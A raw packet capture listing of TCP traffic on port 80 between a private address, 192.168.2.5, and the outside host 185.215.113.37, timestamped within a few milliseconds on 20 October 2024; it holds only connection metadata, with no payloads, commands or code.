Oct 20, 2024 08:40:16.974467993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974472046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974486113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974488974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974497080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974504948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974514961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974523067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974531889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974544048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974549055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974566936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974567890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974582911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974584103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974597931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974610090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974612951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974627018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974637032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974638939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974652052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974659920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974669933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974675894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974685907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974693060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974709988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974725962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974785089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974807024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974822044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974836111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974849939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974858046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974872112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974880934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974888086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974898100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974901915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974920988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974925995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974939108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974947929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974961996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974973917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974980116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974993944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974998951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975008965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975023985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975023985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975032091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975049019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975054026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975063086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975064993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975080013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975086927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975095987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975106955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975110054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975121975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975132942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975135088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975150108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975152969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975172997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975172997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975188971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975191116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975215912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975231886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975245953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975250006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975260973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975272894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975275993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975289106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975294113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975303888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975318909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975318909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975334883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975337029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975348949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975349903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975364923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975373030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975388050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975394011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975397110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975409031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975418091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975424051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975439072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975439072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975455046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975456953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975474119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975485086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975485086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975507021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975523949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975528002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975538969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975575924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975579023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975590944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975605965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975613117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975621939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975637913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975651026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975670099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975687981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975703001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975718021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975732088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975740910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975747108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975761890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975768089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975786924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975789070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975811005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975811958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975828886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975835085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975848913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975848913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975863934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975886106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975886106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975902081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975912094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975923061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975938082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975938082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975953102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975966930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.975970984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975986004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.975991011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976001978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976007938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976015091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976032019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976037025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976052999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976062059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976074934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976088047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976092100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976109028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976124048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976126909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976140022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976154089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976160049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976171017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976176023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976188898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976197004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976202965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976219893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976222038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976248026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976270914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976285934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976300955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976315975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976330042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976341963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976372957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976591110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976629019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976692915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976706028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976721048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976733923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976743937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976747990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976758003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976766109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976773024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976784945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976785898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976802111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976802111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976815939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976816893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976834059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976840019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976845026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976862907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976864100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976877928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976882935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976893902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976902962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976907015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976919889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976922989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976933002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976938963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976952076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976952076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976969957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976983070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.976989985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.976999998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977005959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977020979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977035046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977045059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977050066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977063894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977072001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977087021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977087975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977101088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977113962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977117062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977127075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977144003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977157116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977195024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977207899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977221966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977237940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977252007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977252007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977266073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977282047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977283001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977298021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977324009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977327108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977341890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977356911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977370977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977379084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977396965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977420092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977420092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977437019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977452993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977459908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977467060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977478027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977492094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977507114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977561951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977576971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977591038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977602959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977615118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977633953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977641106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977682114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977735996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977749109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977762938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977773905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977778912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977787971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977792025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977813005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977813005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977832079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977857113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977871895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977886915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977900982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977912903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977916002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977930069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977937937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977953911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977957010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977968931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977981091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.977984905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.977998972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978002071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978010893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978029013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978029013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978044987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978050947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978066921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978069067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978081942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978091955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978097916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978110075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978115082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978121996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978130102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978142977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978152990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978159904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978168964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978177071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978192091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978193045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978208065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978214979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978221893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978234053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978236914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978251934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978252888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978261948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978302956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978316069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978353024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978367090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978382111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978409052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978432894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978434086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978449106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978462934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978473902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978482962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978494883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978498936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978507042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978526115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.978533030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.978538036 CEST	49704	80	192.168.2.5	185.215.113.37
